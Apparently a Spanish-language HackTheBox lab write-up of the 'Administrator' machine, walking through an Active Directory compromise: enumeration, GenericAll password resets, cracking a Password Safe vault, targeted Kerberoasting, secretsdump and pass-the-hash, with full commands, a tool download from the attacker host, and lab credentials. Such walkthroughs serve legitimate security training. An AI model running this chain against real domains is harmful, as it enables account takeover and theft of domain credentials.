Administrator
Medium · Active Directory · 2026-05-29
Información de la máquina
| Campo | Detalle |
|---|---|
| Plataforma | HackTheBox |
| Sistema operativo | Windows |
| Dificultad | Media |
| Categoría | Active Directory |
| Fecha | — |
Información de la máquina
Como es habitual en las pruebas de penetración de Windows reales, iniciarás la ventana de administrador con las credenciales de la siguiente cuenta: Nombre de usuario: Olivia Contraseña: ichliebedich
Reconocimiento
Domain gathering
sudo netexec smb <IP> -u "" -p ""

Lo añadimos a /etc/hosts:
10.129.9.86 administrator.htb DC.administrator.htb DC
Nmap TCP
Escaneo TCP
sudo nmap 10.129.9.86 -p- --open -sS --min-rate 500 -vvv -n -Pn

Tenemos bastantes puertos normales dentro de un dc.
Kerbrute
./kerbrute_linux_amd64 userenum --dc 10.129.9.86 -d administrator.htb

Vemos que nos va generando usuarios poco a poco, vamos a seguir enumerando y de no encontrar nada volveremos a este punto.
Rpc Enumeration
Acceso RPC con credenciales
rpcclient -U "Olivia%ichliebedich" 10.129.9.86

Tenemos una lista de usuarios enumerados existentes, lo pasamos a una lista de usuarios formateados:

Smb Enumeration
Enumeración SMB con credenciales

Tenemos permisos de lectura sobre IPC$ por lo que podemos enumerar users con ridd-brute:
Tenemos la misma lista de usuarios. (de normal es asi ya que sacan la info del mismo sitio)
Ldap Enumeration
Enumeración LDAP con credenciales
ldapsearch -x -H ldap://<ip> -D '<domain>@<username>' -w '<password>' -b 'DC=<domain>,DC=<TLD>'
ldapsearch -x -H ldap://10.129.9.86 -D 'olivia@administrator.htb' -w 'ichliebedich' -b 'DC=administrator,DC=htb'
Hay mucha info por ahora seguimos con la enumeración y de no encontrar nada volvemos a este punto.
Kerberoasting
impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -request

No encuentra nada.
ASREProast
impacket-GetNPUsers dominio.com/ -no-pass -usersfile users.txt

No encuentra nada.
Tras no ver nada, veo que tengo permisos para acceder a la maquina:


Vamos a enumerar primero localmente con winpeas y luego bloodhound de ser necesario:
iwr -uri http://10.10.14.80:80/winPEASx64.exe -Outfile winpeas.exe
Tras no encontrar nada, voy a ver si encuentro algo con bloodhound:
bloodhound-python -u 'olivia' -p 'ichliebedich' -d administrator.htb -ns 10.129.9.86 -c All
No encunetra ningun path para ir a domain admin con olivia:

Buscando, veo que tengo permisos genericall sobre michael:

GenericAll sobre Michael → cambiarle la contraseña:
net rpc password "michael" "Password123!" -U "administrator.htb/olivia%ichliebedich" -S 10.129.12.18

Vemos que no hay nada interesante:

Miramos en bloodhound y nos envontramos con lo siguiente:

Mismo proceso:
net rpc password "benjamin" "Password123!" -U "administrator.htb/michael%Password123!" -S 10.129.12.18

No nos deja, en caso que no nos deje, siempre podemos mirar si está dentro del grupo de conexiones remotas:

En este caso, podemos ver que no está.
Tras estar buscando un buen rato, nos damos cuenta que no hay nada a nivel ad que podamos hacer, por lo que si volvemos a la enumeración nmap nos encontramos con el puerto ftp abierto, por lo que si nos logueamos con benjamin:

Un archivo con extensión .psafe3 es una base de datos cifrada de contraseñas utilizada principalmente por la aplicación de código abierto Password Safe
Detalles clave:
- Contenido: Almacena de forma segura nombres de usuario, contraseñas, URLs y notas.
- Cifrado: Todo su contenido está protegido bajo una única contraseña maestra.
Crackeamos la password con pwsafe2john:

Instalación pwsafe
sudo apt install passwordsafe -y
Si no está en los repos, alternativa con Python:
pip install pysafe --break-system-packages
# Luego leer el vault
python3 -c "
import pysafe
db = pysafe.read('Backup.psafe3', 'MASTER_PASSWORD_AQUI')
for entry in db:
print(entry)
"
O con pwsafe standalone:
sudo apt install pwsafe -y
pwsafe -f Backup.psafe3
Una vez lo abres y pones la password:

Nos encontramos con 3 usuarios, por lo que podemos probar si alguno de los usuarios usa la misma password que el archivo:
No lo es, viendo la base de datos, podemos copiar las contraseñas, por lo que nos creamos un diccionario con usuarios y otro con contraseñas:

Al lanzarlo vemos que tenemos una credencial:
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
Como tenemos una cuenta mas, podemos probar a entrar via evil-winrm:

Ya tenemos acceso a la cuenta, ahora que tenemos otro usuario, vamos a ver si encontramos algo en bloodhound:

Vemos que tenemos una via potencial de ataque para llegar a ser domain admin.

Ataque Kerberoast dirigido
Se puede realizar un ataque Kerberoast dirigido con targetedKerberoast.py.
python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
La herramienta intentará automáticamente un ataque Kerberoast dirigido, ya sea contra todos los usuarios o contra uno específico si se especifica en la línea de comandos, y obtendrá un hash descifrable. La limpieza también se realiza automáticamente.
El hash recuperado se puede descifrar sin conexión con la herramienta que prefiera.

Nos falla por KRB_AP_ERR_SKEW
Por lo que seteamos la hora a la misma:
sudo net time set -S 10.129.13.72
y relanzamos el comando:

Lo pasamos a un archivo y lo crackeamos:
john hash2 --wordlist=/usr/share/wordlists/rockyou.txt

Ya tenemos la cuenta de ethan:
ethan:limpbizkit
Si seguimos con bloodhound vemos lo siguiente:

impacket-secretsdump 'administrator.htb'/'ethan':'limpbizkit'@'10.129.13.72'

Aplicamos PtH:
